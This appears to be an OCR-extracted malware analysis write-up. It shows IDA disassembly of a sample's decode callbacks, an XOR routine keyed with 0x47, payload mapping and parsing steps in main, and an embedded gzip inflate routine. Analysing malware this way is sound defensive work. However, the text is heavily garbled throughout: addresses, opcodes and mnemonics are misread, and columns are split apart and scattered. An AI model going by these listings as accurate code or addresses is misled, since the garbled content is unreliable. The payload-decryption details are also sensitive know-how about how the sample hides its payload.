LOAD:8804A348 loc_884A348: ; CODE XREF: decode_callback_t1+45Tj
LOAD:@804A348 ©F B6 45 EB MovzZX eax, byte ptr [ebp+aa+lgh]
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Method 2

LOAD:0884A390 decode_callback_t2 proc near ; DATA XREF: main+D18lo
LOAD:@8@4A39@

LOAD:@8@4A390 val = dword ptr -38h

LOAD:0884A390 var_34 = dword ptr -34h

LOAD:0884A390 var_3e = dword ptr -38h

LOAD:0884A398 wvar_2C = dword ptr -2Ch

LOAD:@804A390 var_28 = byte ptr -28h

LOAD:@804A390 bb = dword ptr -28h

LOAD:0884A390 aa = dword ptr -1Ch

LOAD:0884A390 var_C = dword ptr -ech

LOAD:8884A39@ var_8 = dword ptr -8

LOAD:@84A39@ var_4 = dword ptr -4

LOAD:@8e4A39@ [ = dword ptr 8

LOAD:@884A390 dd = dword ptr @ch

LOAD:0884A390 arg_8 = dword ptr 18h

LOAD:@884A390 arg_C = dword ptr 14h

LOAD: 08844390 arg_1e = dword ptr 18h

LOAD:08@4A390@ arg_14 = dword ptr 1Ch

LOAD:@804A390

LOAD: 08044390 55 push ebp

LOAD:@884A391 89 ES mov ebp, esp

LOAD:@804A393 83 EC 48 sub esp, 48h

LOAD:080@4A396 8B 45 18 mov eax, [ebp+arg_8]
LOAD:@8@4A399 8B 55 14 mov edx, [ebp+arg_C]
LOAD:©8@4A39C 89 5D F4 mov [ebp+var_C], ebx
LOAD:@804A39F 8B 5D @C mov ebx, [ebp+dd]

LOAD:@884A3A2 89 75 F8 mov [ebp+var_8], esi
LOAD:@804A3A5 8D 75 CB lea esi, [ebp+val]

LOAD:9804A3A8 89 45 D@ mov [ebp+var_3@], eax
LOAD:2884A3AB 8B 45 18 mov eax, [ebp+arg_ie]
LOAD:08@4A3AE 89 55 D4 mov [ebp+var_2C], edx
LOAD:@8@4A3B1 8B 55 1C mov edx, [ebp+arg_14]
LOAD:@804A3B4 89 7D FC mov [ebp+var_4], edi
LOAD:08@4A3B7 BF @D @0 @8 ee mov edi, @Dh

LOAD:@804A3BC C7 45 E4 FF FF FF FF mov [ebp+aa], @FFFFFFFFh
LOAD:©8@4A3C3 89 45 C8 mov [ebp+val], eax

LOAD:©8@4A3C6 89 55 CC mov [ebp+var_34], edx
LOAD:©8@4A3C9 C7 45 EO@ 0@ 00 ee oo mov [ebp+bb], @

LOAD:08@4A3D@ 89 74 24 84 mov [esp+4], esi ; val
LOAD:0804A3D4 89 1C 24 mov [esp], ebx ; buf |
LOAD:©8@4A3D7 ES 74 59 6@ e call serial_bind_6xdleb34ee_decode
LOAD:@804A3DC 3D @3 @1 ee ee cmp eax, 183h

LOAD:@8B4A3EL 74 25 jz short loc_8B4A408
LOAD:@B@4A3E3

LOAD:©884A3E3 loc_B8B4A3E3: ; CODE XREF: decode_callback_t2+854§
LOAD:08@4A3E3 ; decode_callback_t2+a8lj ...
LOAD:©8@4A3E3 8B 55 E4 mov edx, [ebp+aa]

LOAD:@8@4A3E6 8D 42 FF lea eax, [edx-1]

LOAD:@804A3E9 83 F8 FD cmp eax, OFFFFFFFDh
LOAD:@804A3EC 77 @8 ja short loc_B804A3F6
LOAD:08@4A3EE 89 14 24 mov [esp], edx

LOAD:©8@4A3F1 ES 9A 64 ©1 @80 call serial_bind_©x44611a64_free
LOAD:@804A3F6

LOAD:0884A3F6 loc_B804A3F6: ; CODE XREF: decode_callback_t2+5CtT]
LOAD:0804A3F6 89 F8 mov eax, edi

LOAD:08@4A3F8 8B 5D F4 mov ebx, [ebp+var_C]
LOAD:08@4A3FB 8B 75 F8 mov esi, [ebp+var_8]
LOAD:©8@4A3FE 8B 7D FC mov edi, [ebp+var_4]
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Method 3

LOAD : 2884460
LOAD: @B04A4560@
LOAD : 8B@4A4608
LOAD : @B@4A460
LOAD : 888444560
LOAD: 888484608
LOAD : 8884A4608
LOAD : 98044460
LOAD: @B04A460@
LDAD: 88844460
LOAD : 88044460
LOAD: @B@4A460@
LOAD : BBB4A4608
LOAD : 280484560
LOAD: 8B04A460
LOAD: @B04A450
LOAD: BBB4RA46E
LOAD : 8B@4A460
LOAD:@8084A461
LOAD: 8804463
LOAD : 98848464
LOAD: 8B804A465
LOAD : BB@4A466
LOAD : 880444569
LOAD : 8B@4A46C
LOAD : 8B@4A45F
LOAD: 8884A472
LOAD : 98048475
LOAD:8B04A478
LDAD:8884A478
LOAD : @B04A47E
LOAD: 88844482
LOAD : BBB4A485
LOAD : 98042488
LOAD : 98042488
LOAD: @BO4A4BE
LOAD : @BB4A495
LOAD : @884A49C
LOAD : @B@4A49F
LOAD : 8B@4A4A4
LOAD : 98048447
LOAD : 9BO4A4AE
LOAD : BB@4A4B3
LOAD: @B@4RA4B5
LOAD : 8B@4A4B5
LOAD: 88844485
LOAD : 8884R485
LOAD : 98842488
LOAD: 8BO4A4BB
LDAD:8884A4BE
LOAD : @B@4RA4CH
LOAD : 8884A4C4
LOAD : 8B@4A4C4
LOAD : 88084A4CA
LOAD : @804A4CC
LOAD: @B@4A4CE
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89

8B
8D
83
aF

8B
85
74
s |

ES

EC
55

5D
75
45
55
55
54

45
5D
75
45
45
3C
AC
55
45
a3
59

45
50
FA
86

35
F6
2B
DB

14

18
1cC
10

ca
24
ce

c8
cC
E4
E@
24
58
ce
ca4
e1

E4
FF
D

FF
28

D
(L]

ee

4B

FF FF FF
ae ee ee

28

00 60 oo

08 ee

a6 a8

decode_callback_t3 proc near

var_4e
var_3C
val
var_34
var_38
var_2C
var_28
var_28
var_1C
buf
arg_8
arg_cC
arg_1@
arg_14

loc_864A4B5:

loc_8@4A4C4a:
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; DATA XREF: main+BiSloc

; val

; buf

serial_bind_exdleb34ee_decode

; CODE XREF: decode_callback_t3+CFij
; decode_callback_t3+1331j
)|

; CODE XREF: decode_callback_t3+1271j

= dword ptr -48h

= dword ptr -3ch

= dword ptr -38h

= dword ptr -34h

= dword ptr -38h

= dword ptr -2Ch

= byte ptr -28h

= dword ptr -20h

= dword ptr -1ch

= dword ptr 6Ch

= dword ptr 18h

= dword ptr 14h

= dword ptr 18h

= dword ptr 1cCh

push ebp

mov ebp, esp

push edi

push esi

push ebx

sub esp, 4ch

mov edx, [ebp+arg C]
mov edi, [ebp+buf]
mov ebx, [ebp+arg_18]
mov esi, [ebp+arg_14]
mov eax, [ebp+arg 8]
mov [ebp+var_2C], edx
lea edx, [ebp+vall
mov [esp+4], edx

mov [ebp+var_48], edx
mov [ebp+var_38], eax
mov [ebp+val], ebx
mov [ebptvar_34], esi
mov [ebp+var_1C], OFFFFFFFFh
mov [ebp+var_2e], @
mov [esp], edi

call

mov edx, [ebp+var_48]
mov [ebp+var_3C], ebh
cmp eax, 1@3h

jz short loc_8@4AS@E
mov eax, [ebptvar_iC
lea edx, [eax-1]

cmp edx, @FFFFFFFDh
jbe loc_B@4AS78

mov esi, ds:g_section_count@
test esi, esi

jz short loc_804A4F9
xor ebx, ebx
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Method 4

LOAD: @884A5C8

LOAD: @8@4A5CO

LOAD: @8@4A5C8

LOAD: @8@4A5C8

LOAD: @8@4A5C8

LOAD: @8@4A5C8

LOAD: @8@4A5C8

LOAD: 8884A5Ce

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD: @884A5CO

LOAD: @884A5CO

LOAD: @884A5C8 55

LOAD:@8@4A5C1 89 ES

LOAD: @8@4A5C3 57

LOAD:©884A5C4 BF @D ee ee ee

LOAD: @884A5C9 56

LOAD: @8@4A5CA 53

LOAD:@884A5CB 83 EC 3C
LOAD:@804ASCE 8B 45 1@
LOAD:@884A5D1 8B 55 14
LOAD:@884A5D4 8D 75 C8
LOAD:@884A5D7 8B 5D BC
LOAD:@804A5DA C7 45 E4 FF FF FF FF
LOAD:@8@4ASEL 89 45 D@

LOAD: @8@4A5E4 8B 45 18
LOAD:©8@84A5E7 89 55 D4

LOAD: @8@4A5EA 8B 55 1C
LOAD:@8@4A5ED C7 45 E@ 00 80 @0 ee
LOAD:@8@4A5F4 89 74 24 84
LOAD: @8@4A5F8 89 45 C8
LOAD: @8@4A5FB 89 55 CC
LOAD:@8B4A5FE 89 1C 24
LOAD:@884A601 E8 4A 57 @@
LOAD:@884A606 3D €3 el ee
LOAD:@884A608B 74 58
LOAD:©8884A680
LOAD:©8884A68D
LOAD:©8884A68D

LOAD: @804A68D 8B 45 E4
LOAD:@8@4A61@ 8D 58 FF
LOAD:@8@4A613 83 FA FD
LOAD:©804A616 ©F 86 8C @0 @0 ee
LOAD: @8@4A61C

LOAD: @884A61C

LOAD:©804A61C Al @4 4B @6 @8
LOAD:@8@4A621 85 C@

LOAD:@884A623 74 2C

LOAD:@884A625 31 DB

LOAD:@884A627 98

LOAD:09804A628

LOAD:0804A628

LOAD:©804A628 8B 14 DD 28 4D @6 e8
LOAD:@884A62F B85 D2

88
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; int __cdecl decode_callback_t4(int, int buf, int, int, int, int)

decode_callback_t4 proc near ; DATA XREF: main+Al@lo
val = dword ptr -38h
var_34 = dword ptr -34h
var_3e = dword ptr -3eh
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_2e = dword ptr -28h
var_1C = dword ptr -1Ch
arg_e = dword ptr 8
buf = dword ptr @ch
arg_8 = dword ptr 18h
arg_C = dword ptr 14h
arg_1e = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, 6Dh
push esi
push ebx
sub esp, 3Ch
mov eax, [ebp+arg_8]
mov edx, [ebp+arg C]
lea esi, [ebp+val]
mov ebx, [ebp+buf]
mov [ebp+var_1C], @FFFFFFFFh
mov [ebp+var_38], eax
mov eax, [ebp+arg_10]
mov [ebp+var_2C], edx
mov edx, [ebp+arg_14]
mov [ebp+var_208], ©
mov [esp+4], esi ; val
mov [ebp+val], eax
mov [ebp+var_34], edx
mov [esp], ebx ; buf
call serial_bind_exdleb34ee_decode
cmp eax, 1@3h
jz short loc_8@4A665
loc_se4aceD: ; CODE XREF: decode_callback_t4+Celj
; decode_callback_t4+E@lj
mov eax, [ebp+var_iC]
lea edx, [eax-1]
cmp edx, BFFFFFFFDh
jbe loc_864A6A8
loc_8e4A61C: ; CODE XREF: decode_callback_t4+F71j
mov eax, ds:g_section_countl
test eax, eax
iz short loc_8@4A651
xor ebx, ebx
nop
loc_Be4A628: ; CODE XREF: decode_callback_t4+8Flj
mov edx, ds:g_section_mapl.field_o.field_e[ebx*8]
test edx, edx
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Method 5

OAD:0805FC68
OAD:0805FCe8
OAD:@885FC68
OAD:@805FC68
OAD:@805FCe8
OAD:@805FCe8
OAD:B885FC68
OAD:0805FC6@
OAD:@805FCed 55
OAD:@885FC61 89
OAD:@805FC63 57
OAD:@805FCe4 8B
OAD:0805FC67 56
OAD:@8B5FC68 8B
OAD:9805FCBE 53
OAD:@805FCeC 85
0AD:@805FC6E 74
0AD:@805FC78 31
OAD:@805FC72 31
0AD:8805FC74 8D
OAD:@805FC78
OAD:0805FC78
OAD:@805FC78 OF
OAD:@805FC7C 89
OAD:@805FC7E 83
OAD:@805FC81 31
OAD:@805FC83 01
OAD:@805FC85 31
OAD:0805FC87

OAD:@8O5FC8F 77
OAD:@885FCOL
OAD:@805FCO1
OAD:Q805FC91 89
OAD:0@805FC93 5B
OAD:@8B85FC94 SE
OAD:9805FC95 5F
OAD:@805FC96 5D
OAD:@805FC97 (3
OAD:@805FC97
OAD:@805FCO97
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E5

7D

B6&

ac

Fe

ac

es

26 @0

e4 16

16
e1

; int __cdecl serial_bind_8x4743c911_xor(char *buf, int len)
serial_bind_6x4743c911_xor proc near ; CODE XREF: serial_bind_®xdleb34ee_decode+136Tp

; serial_bvp+371p

DATA XREF:

buf = dword ptr 8
len = dword ptr @ch

push ebp

mov ebp, esp

push edi

mov edi, [ebp+len]

push esi

mov esi, [ebp+buf]

push ebx

test edi, edi

3z short loc_8@5FC91

xor ebx, ebx

xor edx, edx

lea esi, [esi+@]

loc_B8@5FC78:

loc_B@B5FC91:

pop
pop
retn

; CODE XREF: serial bind_8x4743c911_xor+2Flj
eax, byte ptr [esi+edx]
ecx, eax
ecx, 47h ; xor B8x47
ecx, ebx
ebx, eax
ecx, edx
[esi+edx], cl
edx, 1
edi, edx
short loc_8@5FC78

; CODE XREF: serial bind 8x4743c911 xor+ETj
eax, esi
ebx
esi
edi
ebp

serial_bind_©x4743c911_xor endp
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W Payload Decryption Process

As shown in the main process of the main function, the payload parsing process is a relatively complex loop
body process, and it is accompanied by many encryption confrontations.

Map and Load:

*|LOAD: @804B706 89 4C 24 @8 mov [esp+8], ecx ; payload_info

LOAD: @804B70A 89 44 24 84 nov [esp+d], eax  ; map_size
*|LOAD:8@4B70E 8B 84 24 D8 10 @0 @8 mov eax, [esp+1BFBh+ref_map_addr]
*|LOAD:©8@4B715 89 @4 24 mov [esp], eax 3 map_addr

LOAD:P804B718 ES 23 45 @0 88 call serial_bind_@x97413c51_getpayload ; iKEE{&payload
*|LOAD:B88@4B71D B85 (@ test eax, eax

LOAD: @8@4B71F ©F 84 E@ @0 00 ed jz jmp_804B8OS

“LOAD:©804B725 C7 44 24 44 04 @0 00 00 mov [esp+1@F8h+payload], 4

LOAD:08@4B72D BF @4 @0 @0 ee mov edi, 4

“LOAD:9804B732 (6 44 24 34 0@ mov byte ptr [esp+l1@F@h+ref_payload_addr_], @
“|LOAD:88@4B737 C6 44 24 2B 1C mov [esp+18F@h+var_18C5], 1Ch

LOAD:@804B73C C6 44 24 24 92 mov byte ptr [esp+l@Feh+vv_map_size], 2

LOAD: 88248741 C7 44 24 48 0@ 00 08 @0 mov [esp+1@F@h+payload_struct], @
“|LOAD:0824B749 (e 44 24 23 @1 mov [esp+1@FBh+var_18CD], 1

*|LOAD:@8@4B74E E9 76 FA FF FF jmp ret_error

LOAD: @804B753 HEE e e e e e LT
LOAD:08@4B753

LOAD: 08048753 jmp_8e4B753: ; CODE XREF: main+6621j
LOAD:©804B753 ©F 85 23 @1 08 @0 jnz loc_804B87C

LOAD: 88048759 g B e B e e e e e 2
LOAD:@8@4B759 [

LOAD:@804B759

*LOAD:8804B759 BD 84 24 D4 10 @0 0@ lea eax, [esp+10FBh+ref _map_size]

* LOAD:9804B760 89 44 24 @8 mov [esp+8], eax ; map_size

LOAD:0804B764 8D 84 24 DB 1@ 0@ 00 lea eax, [esp+10FBh+ref_map_addr]

*LDAD: 804B76B 89 44 24 04 mov [esp+4], eax ; map_addr

“ LOAD:0804B76F BB 06 mov eax, [esi]

*LOAD:@8@4B771 89 04 24 mov [esp], eax ; file_path
*|LOAD:B80@4B774 E8 87 F6 FF FF call serial mapFile ; BRETICH

*|LOAD:@B@4B779 B5 (8 test eax, eax

*|LOAD:BB@4B77B OF 84 73 FF FF FF jz jmp_8e4B6F4

LOAD:0884B781 - -t B e e et T e e T e
LOAD:0804B781 i

LOAD: 28048781 i

" LDAD:98@4B781 E8 SA OD 0@ 0@ call serial_get_name

LOAD:@804B786 ©F B6 4C 24 31 movzx ecx, [esp+1@FBh+arge_flag]

*LOAD:8804B78B 31 DB xor ebx, ebx

*|LOAD:B8884B78D C6 44 24 AF @1 mov [esp+18FBh+var_10Al1], 1

*|LOAD: 08048792 BF 83 0@ 80 08 mov edi, 3

“LOAD:@8@4B797 C7 44 24 44 B3 @0 00 0o mov [esp+1@F@h+payload], 3

“LOAD:0804B79F Cé 44 24 34 0@ mov byte ptr [esp+l10F@h+ref_payload_addr_], @
*LOAD:08@4B7A4 83 E1 @1 and ecx, 1

“ILOAD:8804B7A7 B8 4C 24 43 mov [esp+43h], cl

*|LOAD:©8@4B7AB C6 44 24 2B BC mov [esp+1@F@h+var_16C5], 6Ch

“|LOAD:0804B7B0 (6 44 24 24 82 mov byte ptr [esp+1BF@h+vv_map_size], 2
*|LOAD: 88@4B7B5 C7 44 24 4B 90 00 @0 00 mov [esp+1@F@h+payload_struct], @
*|LOAD:08@4B7BD E9 AF FB FF FF jmp loc_804B371

LOAD:0824B7C2 e e e e P T e
LOAD: @804B7C2

LOAD:©804B7C2 loc_804B7C2: ; CODE XREF: main+64Btj
“LOAD:8804B7C2 E3 89 F6 @0 08 call serial_bind_exb367cd@e_channel
*|LOAD:8804B7CY7 B85 C@ test eax, eax

*|LOAD:@804B7C9 @F 84 DB 20 B8 28 jz Jmp_804B8AA
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Parsing Process:

LOAD: @804B7E1

LOAD: @804B7E1

LOAD: @804B7E1

LOAD: @804B7E1 C&
LOAD: @804B7EE BF
LOAD: @8@487EB C7
LOAD : @804B7F3 C7
LOAD: @88487FB C6
LOAD : 8884B808 E9
LOAD: e884B8885

LOAD : 88648805

LOAD: e804B885

LOAD: 88848805 8B
LOAD : e8@4B80C BB
LOAD: @8048813 8B
LOAD : @804B817 &9
LOAD: @8848818 &89
LOAD : 8884B81F &9
LOAD: @804B822 E8
LOAD: 88048827 B85
LOAD: 8048829 89
LOAD: 28048820 6F
LOAD:e804B833 83
LOAD: @8848838 @F
LOAD : 2804B83E &B
LOAD: @8848842 &R
LOAD: 8864B846 B9
LOAD: @804B884A 89
LOAD: 88648840 E&8
LOAD: @804B8852 85
LOAD: @8@48854 74
LOAD : @804B856 C7
LOAD: @884B85E BF
LOAD : 88848863 C6
LOAD: 28048868 (6
LOAD: 88048860 C6
LOAD: @8048872 (6
LOAD: 88048877 ES
LOAD : @804B87C

LOAD: @804B87C

LOAD : @804B87C

LOAD: @884887C C7
LOAD : 28848884 EBF
LOAD: ©8048885 (6
LOAD: 8804B88E (G
LOAD: @8048893 (6
LOAD: 28048898 C7
LOAD : e804B8AR CE
LOAD: @804B8A5 ES
LOAD : 2884B8AA

LOAD: @884B8AA

LOAD : 8884BBAA

LOAD: @804B8AA 8B
LOAD: 8804BBAE 89
LOAD: @804B8B1 E8
LOAD: 28048886 85
LOAD : @804B8B8 @F
LOAD: @804B8BE C7

SEREGE

BEERNREBBREEARR

0® e
©oma

SERRERSER SEEEERER

EESERE

24

24
24
24
F§

24
24
24
24
24
24
39

24
41
24

24
24
24
24

24

24
24
24
24
F8

24

24
24
24
24
249
Fg

24
24
F6

81
24

38
48
23
FF

c8
D8

24

48
e1

38

8 28

TEEEE8R

a4

28
24
a8
23
FF

Eg 8

Feg88e

18
1e

888

a1
19
a3

FF

Tegs8s8sss

loc_804B7E1:

88
g

call
test
mov
(-] jz
cmp
ea jz
mov
moy
mov
mov
call
test
jz
ee ee ee mov
mov
mov
mov

ee a2 oo mov

08 08 ee mov
mov
mp

H

jmp_884B8AA:
mov
mov
call
test
ee jz
ee o8 ee mov
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; CODE XREF: main+8C@lj
; main+95Fij ...

byte ptr [esp+18F@h+vv_map_size], 1
[esp+18FBh+var_1e88], €

[esp+1eFeh+payload_struct], @
[esp+16FBh+var_1ecD], 1

; CODE XREF: main+7@Ftj

eax, [esp+1@FBh+ref_payload]

edx, [esp+l@Feh+ref_map_addr]

ecx, [esp+l@Feh+payload]
[esp+ieFeh+ref_payload_addr_], eax
[esp+i8F@h+vy_map_size], edx

; payload

serial_bind_ex278dec7a_parsePayload ; M#ipayload#fizt
[esp+18F@h+payload_struct], eax
[esp+1@Feh+var_1eB8], @

eax, [esp+l@F@h+var_10B8]

edx, [esp+18Feh+payload_struct]
serial_bind_@x3955ced4_

short loc_804B8D5
[esp+1eFeh+payload], &

byte ptr [esp+i@F@h+ref_payload_addr_], 1
[esp+i8F@h+var_18c5], 19h

byte ptr [esp+18F@h+vv_map_size], 3
[esp+18F@h+var_18CD], 1

; CODE XREF: main:jmp_8@4B7531]

[esp+18Fah+payload], 3

byte ptr [esp+i@FBh+ref_payload_addr_], @
[esp+18F@h+var_18C5], @

byte ptr [esp+l8FBh+vv_map_size], 2
[esp+18F@h+payload_struct], @
[esp+1@Feh+var_1ecD], 1

; CODE XREF: main+7B9Tj

; pid

serial_bind_8xbde@33b3_channel

[esp+18Feh+payload], 16h
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The decompression process involved:

L= | Bl o — v ———— -

linux_gzip huft free
linux_gzip huft build
linux_gzip fill buf

linux_gzip inflate codes
linux_gzip inflate dynamic

linux gzip

linux_gzip function:

LOAD:@80857178@ 55

LOAD:@8057171 31 D2

LOAD:@80@57173 89 ES

LOAD:@8057175 57

LOAD:08057176 BF @1 ee ee ee
LOAD:@885717B 56

LOAD:@805717C BE 1F ee ee ee
LOAD:@8057181 53

LOAD:©8057182 83 EC 5C
LOAD:08057185 8B 5D ecC

LOAD: 88057188 8B 45 88
LOAD:@805718B C7 ©5 3@ S5A ©6 @8 00
LOAD:@8057195 C7 ©5 28 S5A 06 @8 0@
LOAD:@805719F C7 ©5 3C 5A 06 @8 00
LOAD:980571A9 A3 2@ SA @6 o8
LOAD:880571AE 31 Ce

LOAD:@8@571B& C7 B85 38 SA @6 @8 08
LOAD:@80571BA C7 ©5 40 S5A 06 @8 00
LOAD:©80571C4 C7 ©5 44 5A 06 98 08
LOAD:©@80571CE 89 1D 24 5A @6 @8
LOAD:©80571D4 89 5D E4
LOAD:@88571D7 9@

LOAD:©80571D8

LOAD:©80571D8

LOAD:©8057108 89 F1

LOAD:@80571DA 89 FB

LOAD:@8@571DC 2B BC 95 8@ 23 @6 @8
LOAD:©80571E3 83 C2 @1
LOAD:080571E6 D3 E3

LOAD:@80571E8 @9 D8

LOAD:@80571EA 83 FA BE
LOAD:@8@571ED 75 E9

LOAD:©80571EF 8B 5D E4
LOAD:©80571F2 BF ©1 @@ eo oe

80
e
o8

80
-]
0o

ee
e
ee

ee
e
0e

linux_gzip_inflate fixed

ee

00

ee

ee
ee

LOAD:@88571F7 C7 @5 60 5A 06 ©8 @0 00 00 oo

LOAD:@8057201 8D B4 26 90 0@ @0 00
LOAD: 08057208

LOAD: 08057208

LOAD:©8057208 89 F9

LOAD:@885728A 31 D2

LOAD:@8e572eC 86 CD el
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loc_88571D8:

loc_8@57208:
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sub
add
shl
or

cmp
jnz
mov

mov
lea

xor
or

ebp
edx, edx
ebp, esp
edi

edi, 1

esi

esi, 1Fh

ebx

esp, SCh

ebx, [ebp+dst_len]
eax, [ebp+dst_buf]
ds:dword_8@65A36, ©
ds:g_gzip_key, @
ds:dword_8@65A3C, @
ds:dword_8065A20, eax
eax, eax
ds:dword_B@65A38,
ds:dword_B@e5A40,
ds:dword_8e65A44,
ds:dword_8065A24, ebx
[ebp+var_1C], ebx

e

; CODE XREF: linux_gzip+7Dlj
ecx, esi
ebx, edi
ecx, ds:dword_8062388[edx*4]
edx, 1
ebx, cl
eax, ebx
edx, ©@Eh
short loc_8@571D8
ebx, [ebp+var_1C]
edi, 1
ds:dword_8065A60, ©
esi, [esi+d]

; CODE XREF: linux_gzip+D8lj
ecx, edi
edx, edx
ehi X

38



linux_gzip_inflate_fixed function:

LOAD: 08O56FER 55 push ebp

LOAD:@8056FEL 89 ES mov ebp, esp

LOAD: BR56FE3 56 push esi

LOAD:@B8SGFES BE 83 @8 88 88 maw esi, 3

LOAD:@BBSEFES 53 push  ebx

LOAD:@BRSEFEA 83 EC 38 sub esp, 3eh

ILOAD: BERSEFED €7 @4 24 80 84 00 08 mov dword ptr [esp], 4seh

LOAD:@BB56FF4 EA 63 24 FF FF call near ptr malloc_._

LOAD: 0BR5E6FFY 85 (@ test eax, eax

[LOAD: @BASEFFE B89 C3 moy ehx, eax

LOAD:@BASEFFD @F 84 Fo 88 88 8@ iz loc_B80578F3

LOAD: 28857003 31 (8 xor eax, eax

[LOAD:@8@57e85 BD 76 88 lea esi, [esi+d]

LOAD: 0BR57088

LOAD: 280570058 loc_se57808: 3 CODE XREF: linux_gzip_inflate_fixed+374]
LOAD: 28057008 C7 @4 83 08 00 00 00 mov dword ptr [ebx+eax*s], 8
LOAD:@B@STERF 83 (8 @81 add eax, 1

LOAD: 88857212 3D 98 @8 o0 8a cnp eax, 98h

LOAD:@ER57017 75 EF jnz short loc_8657808

ILOAD: BE@57019 8D BA 26 00 88 00 08 | lea esi, [esi+d]

LOAD: 08057020

LOAD: @8057220 loc_ges7eze: ; CODE XREF: linux_gzip_inflate_fixed+4Fij
(LOAD: 98057020 C7 @4 B3 99 20 o0 o0 mov dword ptr [ebx+eax*4], 9
LOAD:BBB57@27 83 (@ 81 add eax, 1

(LOAD: 98857024 3D @@ 81 &9 @@ cmp eax, 16éh

LOAD:QBRSTO2F 75 EF jnz short loc_8@57e2e

LOAD: 0857031 BD B4 26 0O 0@ 80 20 lea esi, [esi+a]

LOAD: 08057038

LOAD: 98057038 loc_8@57038: ; CODE XREF: linux_gzip_inflate_fixed+674]
LOAD:BBBS7828 C7 84 B3 @7 éd 88 a8 mow dword ptr [ebx+eax*a], 7
LOAD:@885783F 83 C@ 81 add eax, 1

[LOAD:@ER57842 3D 18 91 96 B cmp eax, 118h

LOAD:@BR57047 75 EF jnz short loc_8857@38

LOAD: 08257049 8D B4 16 00 0@ 80 29 lea esi, [esi+a]

LOAD: 08057050

LOAD: 28857258 loc_B@57858: ; CODE XREF: linux_gzip_inflate_fixed+7Flj
LOAD:@B@57058 C7 84 B3 98 80 82 o0 mov dword ptr [ebx+eax*4], &

LOAD: 98857057 83 @ o1 add eax, 1

(LOAD:@ERSTESA 3D 28 81 00 B cmp eax, 128h

LOAD: 0BR5705F 75 EF dnz short loc_8@57858

LOAD: 28857061 8D 45 EC lea eax, [ebpivar_14]

LOAD: 08057064 BA 20 91 90 e mov edx, 12eh

LOAD: BBR57869 B9 44 24 BC mow. [esp+aCh], eax

LOAD: 88857860 8D 45 F4 lea eax, [ebpsvar_C]

LDAD: 28057870 B9 @1 81 B0 8@ mov ecx, 101h

ILOAD: @B@57875 B9 44 24 @8 mov [esp+8], eax

LOAD: 8857079 89 D& mov eax, ebx

LOAD:@8857078 C7 45 EC @7 00 0@ 00 mov [ebpsvar_14], 7

LOAD:BB@57882 C7 44 24 B4 AB 24 96 @8 mov dword ptr [esp+d], offset g _gzip_cplext
LOAD:@B@STEBA C7 84 24 68 24 86 @8 mov dword ptr [esp], offset g_grip_cplens
LOAD:@8@57@91 E8 FA EE FF FF call linux_gzip_huft_build

[LOAD:@ER57R96 31 D2 xor edx, edx

LOAD:DBR5TR98 &5 C@ test eax, eax

LOAD: 08057094 @F 85 AA 00 @@ 29 Jnz loc_B@5714A

1 AAN - ARASTALA

linux_gzip_inflate_dynamic function:

LUAL  BBUSBASE S5 pusn €op

LOAD:8BB56A91 B9 ES mov ebp, esp
LOAD:0BO56A93 83 EC 78 sub esp, 7Eh
LOAD:@8056496 C7 04 24 FO 04 20 00 mov dword ptr [esp], 4Feh
LOAD:@805649D 89 SD F4 mov [ebpevar_C], ebx
LOAD: 88856440 89 7D FC mov [ebpevar_a], edi
LOAD:@8B56AA3 89 75 F8 mov [ebpavar_8], esi
LOAD:BBBSGANG E8 Bl 2F FF FF call near ptr malloc_._
LOAD:QBB56AAB BB 15 44 SA 06 08 mov edx, ds:dword Be6SAdd
LOAD: 08856481 BB 3D 48 SA 86 28 mov edi, ds:dword_8essAss
LOAD: 98856487 83 FA B4 cmp edx, 4

LOAD:BB8SEABA 89 C3 mov ebx,

eax
short loc_B@5BAEF

:
g
z

LOAD:@BOSGABE Al 28 SA @6 98 mov eax, ds:g_gzip_key
LOAD:OBOSGAC3 BE @4 00 20 20 mov esi, 4

LOAD:98D56ACE 3B @5 24 5A 96 08 cmg eax, ds:dword_BR65A24
LOAD: 08056ACE @F 83 2C 91 90 20 jnb loc_sesecee
LOAD:08056AD4 8B 2D 20 5A 06 08 mov ecx, ds:dword_B8R65A28
LOAD:B80856ADA BF BE 34 81 movzx  esi, byte ptr [ecx+eax]

mov ecx, edx

LOAD:@BOS6AE® 83 C@ @1 add eax, 1

LOAD:BBOSGAES B3 C2 88 add edx, B

LOAD:0BOSEAES A3 28 5A 06 B8 mov ds:g_geip_key, eax
shl

LOAD:@BOSEAER D3 E6 esi, cl

LOAD:8BBSEAED 89 F7 or edi, esi

LOAD: BBASEAEF

LOAD : BBBSEAEF loc_BBSBAEF: ; CODE XREF: linux_gzip_inflate dynamic+2Ctj
LOAD: @80SGAEF 8D 4A FB lea ecx, [edx-5]
LOAD:O8056AF2 89 F8 mov eax, edi

LOAD:08856AF4 C1 ES @5 shr eax, 5

LOAD:@8B56AFT 83 FO 04 emp ecx, 4

LOAD: BBBSGAFA 89 45 CC mov [ebpevar_324], eax
LOAD:@BB5S6AFD B9 40 DB mov [ebpsvar_ 28], ecx
LOAD: 8056800 77 3F ja short loc_8@seg4l
LOAD: 08056602 Al 28 SA 06 B8 mov eax, ds:g_gzip_key
LOAD: 88856887 BE 04 88 o8 68 mov esi, 4

LOAD:0BOS6BC 3B @5 24 SA 06 08 cmp eax, ds:dword_B865A24
LOAD:@BBSE812 89 45 D4 mov [ebpevar_2C], eax
LOAD:0BO56B15 @F 83 ES 90 90 00 jnb loc_sesecee
LOAD:@8056818 8B 4D D4 mov ecx, [ebp+var_2C)
LOAD:98056B1E 83 C2 @3 add edx, 3

LOAD: 08856821 Al 28 SA @6 98 mov eax, ds:dword_8R65A28
LOAD: 88056826 OF BS 04 83 movzx  eax, byte ptr [eax+ecx]
LOAD:BBB56B2A BF B6 4D D@ movzx  ecx, byte ptr [ebpsvar_3@]
LOAD:8805662E 89 55 D@ mov [ebpevar_38], edx
LOAD:@BB56631 D3 E@ shl eax, cl

LOAD: 98656633 09 45 CC or [ebp+var_34], eax

LOAD: 98056836 BB 45 D4 mov eax, [ebp+var_2C]

LOAD: 88856839 83 Ce@ a1 add eax. 1
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linux_gzip_inflate_codes function:

URLITEEEaboAS 53

OAD:BBA565A6 83 EC
18856549 8B 35
1@BRA5E5AF 89 55
18856582 @F BT

0AD:@80565BA 89 4D

0AD:@BRSE5BD 8B 4D

LOAD:@BB565C8 89 45

LOAD: @BB565C3 A1 3C

